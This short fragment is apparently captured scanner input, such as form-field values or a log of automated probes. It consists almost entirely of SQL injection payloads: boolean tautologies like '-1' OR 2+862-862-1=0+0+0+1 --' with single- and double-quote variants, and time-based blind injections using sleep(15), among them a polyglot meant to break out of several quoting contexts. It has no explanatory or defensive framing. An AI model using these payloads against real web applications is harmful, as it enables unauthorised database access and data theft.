Mr.

-1 OR 2+267-267-1=0+0+0+1

-1' OR 2+862-862-1=0+0+0+1 --

-1' OR 2+397-397-1=0+0+0+1 or 'WeMBWEyS'='

-1" OR 2+66-66-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

1

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1